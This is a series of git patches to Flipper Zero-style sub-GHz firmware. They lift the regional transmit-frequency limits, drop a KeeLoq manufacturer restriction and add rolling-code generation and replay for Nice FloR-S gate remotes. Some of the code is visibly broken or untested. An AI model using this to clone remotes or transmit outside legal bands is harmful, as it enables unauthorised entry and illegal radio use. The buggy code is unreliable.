From a18cd53bb1c88040fccdfbb5cf0390b10748134d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 16 Mar 2022 17:28:09 +0300 Subject: [PATCH 001/461] Unblock all freqs. Allow Keeloq save&send "custom_save_and_send" of r3df0xx contributor was moved here and updated to latest dev refactoring. --- firmware/targets/f7/furi_hal/furi_hal_subghz.c | 18 ++++++++++-------- lib/subghz/protocols/keeloq.c | 6 +----- 2 files changed, 11 insertions(+), 13 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 8dacd3f0a..69c2b42d7 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -285,7 +285,7 @@ static const uint8_t furi_hal_subghz_preset_ook_async_patable[8] = { 0x00}; static const uint8_t furi_hal_subghz_preset_ook_async_patable_au[8] = { 0x00, - 0x37, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 + 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 0x00, 0x00, 0x00, @@ -573,17 +573,18 @@ bool furi_hal_subghz_is_tx_allowed(uint32_t value) { switch(furi_hal_version_get_hw_region()) { case FuriHalVersionRegionEuRu: //433,05..434,79; 868,15..868,55 - if(!(value >= 433050000 && value <= 434790000) && - !(value >= 868150000 && value <= 868550000)) { + if(!(value >= 299999755 && value <= 348000335) && + !(value >= 386999938 && value <= 464000000) && + !(value >= 778999847 && value <= 928000000)) { } else { is_allowed = true; } break; case FuriHalVersionRegionUsCaAu: //304,10..321,95; 433,05..434,79; 915,00..928,00 - if(!(value >= 304100000 && value <= 321950000) && - !(value >= 433050000 && value <= 434790000) && - !(value >= 915000000 && value <= 928000000)) { + if(!(value >= 299999755 && value <= 348000335) && + !(value >= 386999938 && value <= 464000000) && + !(value >= 778999847 && value <= 928000000)) { } else { if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { if((value >= 304100000 && value <= 321950000) && @@ -597,8 +598,9 @@ bool furi_hal_subghz_is_tx_allowed(uint32_t value) { break; case FuriHalVersionRegionJp: //312,00..315,25; 920,50..923,50 - if(!(value >= 312000000 && value <= 315250000) && - !(value >= 920500000 && value <= 923500000)) { + if(!(value >= 299999755 && value <= 348000335) && + !(value >= 386999938 && value <= 464000000) && + !(value >= 778999847 && value <= 928000000)) { } else { is_allowed = true; } diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 975cd29c8..18c4732a2 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -74,7 +74,7 @@ const SubGhzProtocol subghz_protocol_keeloq = { .name = SUBGHZ_PROTOCOL_KEELOQ_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_keeloq_decoder, @@ -270,10 +270,6 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); - if(strcmp(instance->manufacture_name, "DoorHan")) { - break; - } - //optional parameter parameter flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); From 9890dd7ed9761b237412cb5e9c63d4de3ea6118b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 17 Mar 2022 00:06:35 +0300 Subject: [PATCH 002/461] Nice FloR-S adding save and send Making able to save and emulate rolling codes for Nice FloR-s remotes. --- lib/subghz/protocols/nice_flor_s.c | 96 ++++++++++++++++++++++++++++-- lib/subghz/protocols/nice_flor_s.h | 34 +++++++++++ 2 files changed, 124 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 8a3e26a8a..92b52e02f 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -58,24 +58,108 @@ const SubGhzProtocolDecoder subghz_protocol_nice_flor_s_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_nice_flor_s_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_nice_flor_s_alloc, + .free = subghz_protocol_encoder_nice_flor_s_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_nice_flor_s_deserialize, + .stop = subghz_protocol_encoder_nice_flor_s_stop, + .yield = subghz_protocol_encoder_nice_flor_s_yield, }; const SubGhzProtocol subghz_protocol_nice_flor_s = { .name = SUBGHZ_PROTOCOL_NICE_FLOR_S_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM | - SubGhzProtocolFlag_Decodable, + SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | + SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_nice_flor_s_decoder, .encoder = &subghz_protocol_nice_flor_s_encoder, }; +void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) { + SubGhzProtocolEncoderNiceFlorS* instance = malloc(sizeof(SubGhzProtocolEncoderNiceFlorS)); + + instance->base.protocol = &subghz_protocol_nice_flor_s; + instance->generic.protocol_name = instance->base.protocol->name; + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 256; + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_nice_flor_s_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderNiceFlorS* instance = context; + free(instance->encoder.upload); + free(instance); +} + +bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderNiceFlorS* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + subghz_protocol_nice_flor_s_remote_controller( + &instance->generic, instance->nice_flor_s_rainbow_table_file_name); + + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + + subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn); + + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_nice_flor_s_stop(void* context) { + SubGhzProtocolEncoderNiceFlorS* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context) { + SubGhzProtocolEncoderNiceFlorS* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + /** * Read bytes from rainbow table * @param file_name Full path to rainbow table the file diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index d11264bc6..ee004d158 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -11,6 +11,40 @@ extern const SubGhzProtocolDecoder subghz_protocol_nice_flor_s_decoder; extern const SubGhzProtocolEncoder subghz_protocol_nice_flor_s_encoder; extern const SubGhzProtocol subghz_protocol_nice_flor_s; +/** + * Allocate SubGhzProtocolEncoderNiceFlorS. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderNiceFlorS* pointer to a SubGhzProtocolEncoderNiceFlorS instance + */ +void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderNiceFlorS. + * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance + */ +void subghz_protocol_encoder_nice_flor_s_free(void* context); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance + */ +void subghz_protocol_encoder_nice_flor_s_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context); + /** * Allocate SubGhzProtocolDecoderNiceFlorS. * @param environment Pointer to a SubGhzEnvironment instance From 159e7030bc9f5aa8ad44cebbbc5a8a1a14baabed Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 19 Mar 2022 00:18:58 +0300 Subject: [PATCH 003/461] Update protobuf --- assets/protobuf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/protobuf b/assets/protobuf index 232e7e9a5..93b9cf3af 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 232e7e9a50b12a95f950fabb515204775e51b04a +Subproject commit 93b9cf3af76664a27646494341a63281a9022740 From 322472d6eb3c74150ceb4e13e9573034a0c3a346 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 19 Mar 2022 02:16:00 +0300 Subject: [PATCH 004/461] Nice FloR-S emulation Need to test! --- lib/subghz/protocols/keeloq.h | 2 +- lib/subghz/protocols/nice_flor_s.c | 101 +++++++++++++++++++++++++++++ lib/subghz/protocols/nice_flor_s.h | 20 ++++++ 3 files changed, 122 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index 72961ceb6..8031998f8 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -30,7 +30,7 @@ void subghz_protocol_encoder_keeloq_free(void* context); * @param flipper_format Pointer to a FlipperFormat instance * @param serial Serial number, 28 bit * @param btn Button number, 4 bit - * @param cnt Container value, 16 bit + * @param cnt Counter value, 16 bit * @param manufacture_name Name of manufacturer's key * @param frequency Transmission frequency, Hz * @param preset Modulation, FuriHalSubGhzPreset diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 92b52e02f..be5ec2530 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -97,6 +97,107 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } +/** + * Key generation from simple data + * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS* instance + * @param btn Button number, 4 bit + */ +static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn) { + instance->generic.cnt++; + uint64_t data_to_encrypt = btn << 32 | instance->generic.serial << 16 + | instance->generic.cnt; + uint64_t res = 0; + res = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); + if(res) { + instance->generic.data = res; + return true; + } else { + return false; + } +} + +bool subghz_protocol_nice_flor_s_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderNiceFlorS* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->generic.data_count_bit = 52; + bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; +} + +/** + * Generating an upload from data. + * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS instance + * @return true On success + */ +static bool + subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn) { + furi_assert(instance); + + //gen new key + if(subghz_protocol_nice_flor_s_gen_data(instance, btn)) { + //ToDo if you need to add a callback to automatically update the data on the display + } else { + return false; + } + + size_t index = 0; + size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); + if(size_upload > instance->encoder.size_upload) { + FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); + return false; + } else { + instance->encoder.size_upload = size_upload; + } + + //Send header + for(uint8_t i = 35; i > 0; i--) { + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); + } + //Send start bit + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + + //Send key data + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(bit_read(instance->generic.data, i - 1)) { + //send bit 1 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); + } else { + //send bit 0 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); + } + } + //Send stop bit + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + + return true; +} + bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format) { furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index ee004d158..9e5edd9aa 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -24,6 +24,26 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment); */ void subghz_protocol_encoder_nice_flor_s_free(void* context); +/** + * Key generation from simple data. + * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 28 bit + * @param btn Button number, 4 bit + * @param cnt Counter value, 16 bit + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_nice_flor_s_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t frequency, + FuriHalSubGhzPreset preset); + /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance From 71b1748573045baa9584aa3bbdceb9f4cb8b4f7f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 19 Mar 2022 04:44:05 +0300 Subject: [PATCH 005/461] fix syntax fix syntax --- lib/subghz/protocols/nice_flor_s.c | 46 +++++++----------------------- lib/subghz/protocols/nice_flor_s.h | 5 +++- 2 files changed, 14 insertions(+), 37 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index be5ec2530..432c25c74 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -34,6 +34,8 @@ struct SubGhzProtocolEncoderNiceFlorS { SubGhzProtocolBlockEncoder encoder; SubGhzBlockGeneric generic; + + const char* nice_flor_s_rainbow_table_file_name; }; typedef enum { @@ -97,25 +99,6 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } -/** - * Key generation from simple data - * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS* instance - * @param btn Button number, 4 bit - */ -static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn) { - instance->generic.cnt++; - uint64_t data_to_encrypt = btn << 32 | instance->generic.serial << 16 - | instance->generic.cnt; - uint64_t res = 0; - res = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); - if(res) { - instance->generic.data = res; - return true; - } else { - return false; - } -} - bool subghz_protocol_nice_flor_s_create_data( void* context, FlipperFormat* flipper_format, @@ -123,18 +106,19 @@ bool subghz_protocol_nice_flor_s_create_data( uint8_t btn, uint16_t cnt, uint32_t frequency, - FuriHalSubGhzPreset preset) { + FuriHalSubGhzPreset preset, + const char* file_name) { furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; + instance->generic.btn = btn; instance->generic.serial = serial; instance->generic.cnt = cnt; instance->generic.data_count_bit = 52; - bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn); - if(res) { - res = - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + instance->generic.cnt++; + uint64_t data_to_encrypt = ( btn << 31 | instance->generic.serial << 16 | instance->generic.cnt ); + instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + return true; } /** @@ -146,13 +130,6 @@ static bool subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn) { furi_assert(instance); - //gen new key - if(subghz_protocol_nice_flor_s_gen_data(instance, btn)) { - //ToDo if you need to add a callback to automatically update the data on the display - } else { - return false; - } - size_t index = 0; size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); if(size_upload > instance->encoder.size_upload) { @@ -208,9 +185,6 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma break; } - subghz_protocol_nice_flor_s_remote_controller( - &instance->generic, instance->nice_flor_s_rainbow_table_file_name); - //optional parameter parameter flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index 9e5edd9aa..f6fd34a33 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -42,7 +42,8 @@ bool subghz_protocol_nice_flor_s_create_data( uint8_t btn, uint16_t cnt, uint32_t frequency, - FuriHalSubGhzPreset preset); + FuriHalSubGhzPreset preset, + const char* file_name); /** * Deserialize and generating an upload to send. @@ -65,6 +66,8 @@ void subghz_protocol_encoder_nice_flor_s_stop(void* context); */ LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context); +uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_name); + /** * Allocate SubGhzProtocolDecoderNiceFlorS. * @param environment Pointer to a SubGhzEnvironment instance From 65603d79759bacbcf9ba6c88432e6bde7d6cbeac Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 19 Mar 2022 15:35:02 +0300 Subject: [PATCH 006/461] fix syntax fix syntax --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 432c25c74..0fd890feb 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -11,7 +11,7 @@ * https://vrtp.ru/index.php?showtopic=27867 */ -#define TAG "SubGhzProtocoNiceFlorS" +#define TAG "SubGhzProtocolNiceFlorS" static const SubGhzBlockConst subghz_protocol_nice_flor_s_const = { .te_short = 500, From 8a0c498b1ce29cdcf2fd170e1f431ef3c1d7d169 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 19 Mar 2022 15:46:23 +0300 Subject: [PATCH 007/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 0fd890feb..dc5b58d10 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -115,7 +115,7 @@ bool subghz_protocol_nice_flor_s_create_data( instance->generic.cnt = cnt; instance->generic.data_count_bit = 52; instance->generic.cnt++; - uint64_t data_to_encrypt = ( btn << 31 | instance->generic.serial << 16 | instance->generic.cnt ); + uint64_t data_to_encrypt = btn | instance->generic.serial | instance->generic.cnt; instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); return true; From d74c5fb1494b9d772a0b409e923bc73dfff5fb38 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 20 Mar 2022 18:55:06 +0300 Subject: [PATCH 008/461] Update nice_flor_s.c Check if counter++ works --- lib/subghz/protocols/nice_flor_s.c | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index dc5b58d10..f55bc8a9c 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -99,6 +99,13 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } +static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { + instance->generic.cnt++; + uint64_t data_to_encrypt = btn | instance->generic.serial | instance->generic.cnt; + instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); + return true; +} + bool subghz_protocol_nice_flor_s_create_data( void* context, FlipperFormat* flipper_format, @@ -110,15 +117,15 @@ bool subghz_protocol_nice_flor_s_create_data( const char* file_name) { furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; - instance->generic.btn = btn; instance->generic.serial = serial; instance->generic.cnt = cnt; instance->generic.data_count_bit = 52; - instance->generic.cnt++; - uint64_t data_to_encrypt = btn | instance->generic.serial | instance->generic.cnt; - instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - return true; + bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name); + if (res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } /** @@ -127,9 +134,16 @@ bool subghz_protocol_nice_flor_s_create_data( * @return true On success */ static bool - subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn) { + subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { furi_assert(instance); + //gen new key + if(subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name)) { + //ToDo if you need to add a callback to automatically update the data on the display + } else { + return false; + } + size_t index = 0; size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); if(size_upload > instance->encoder.size_upload) { From f4b6acb3cb373d53f62cf4420468e3e39715e8a7 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 20 Mar 2022 19:44:03 +0300 Subject: [PATCH 009/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index f55bc8a9c..c054a800f 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -203,7 +203,7 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn); + subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, file_name); if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); From a014b496e96d5452741c422c279f18718c397401 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 20 Mar 2022 20:57:38 +0300 Subject: [PATCH 010/461] Some fixes for FloR-S --- lib/subghz/protocols/nice_flor_s.c | 43 +++++++++++++++--------------- lib/subghz/protocols/nice_flor_s.h | 2 +- 2 files changed, 23 insertions(+), 22 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c054a800f..e44ac1fdb 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -99,10 +99,10 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } -static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { +static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* nice_flor_s_rainbow_table_file_name) { instance->generic.cnt++; uint64_t data_to_encrypt = btn | instance->generic.serial | instance->generic.cnt; - instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); + instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, nice_flor_s_rainbow_table_file_name); return true; } @@ -114,13 +114,13 @@ bool subghz_protocol_nice_flor_s_create_data( uint16_t cnt, uint32_t frequency, FuriHalSubGhzPreset preset, - const char* file_name) { + const char* nice_flor_s_rainbow_table_file_name) { furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; instance->generic.serial = serial; instance->generic.cnt = cnt; instance->generic.data_count_bit = 52; - bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name); + bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, nice_flor_s_rainbow_table_file_name); if (res) { res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); @@ -134,11 +134,11 @@ bool subghz_protocol_nice_flor_s_create_data( * @return true On success */ static bool - subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { + subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* nice_flor_s_rainbow_table_file_name) { furi_assert(instance); //gen new key - if(subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name)) { + if(subghz_protocol_nice_flor_s_gen_data(instance, btn, nice_flor_s_rainbow_table_file_name)) { //ToDo if you need to add a callback to automatically update the data on the display } else { return false; @@ -193,6 +193,7 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; bool res = false; + const char* nice_flor_s_rainbow_table_file_name = nice_flor_s_rainbow_table_file_name; do { if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { FURI_LOG_E(TAG, "Deserialize error"); @@ -203,7 +204,7 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, file_name); + subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, nice_flor_s_rainbow_table_file_name); if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); @@ -251,16 +252,16 @@ LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context) { /** * Read bytes from rainbow table - * @param file_name Full path to rainbow table the file + * @param nice_flor_s_rainbow_table_file_name Full path to rainbow table the file * @param address Byte address in file * @return data */ static uint8_t - subghz_protocol_nice_flor_s_get_byte_in_file(const char* file_name, uint32_t address) { - if(!file_name) return 0; + subghz_protocol_nice_flor_s_get_byte_in_file(const char* nice_flor_s_rainbow_table_file_name, uint32_t address) { + if(!nice_flor_s_rainbow_table_file_name) return 0; uint8_t buffer[1] = {0}; - if(subghz_keystore_raw_get_data(file_name, address, buffer, sizeof(uint8_t))) { + if(subghz_keystore_raw_get_data(nice_flor_s_rainbow_table_file_name, address, buffer, sizeof(uint8_t))) { return buffer[0]; } else { return 0; @@ -273,17 +274,17 @@ static inline void subghz_protocol_decoder_nice_flor_s_magic_xor(uint8_t* p, uin } } -uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_name) { +uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* nice_flor_s_rainbow_table_file_name) { uint8_t* p = (uint8_t*)&data; uint8_t k = 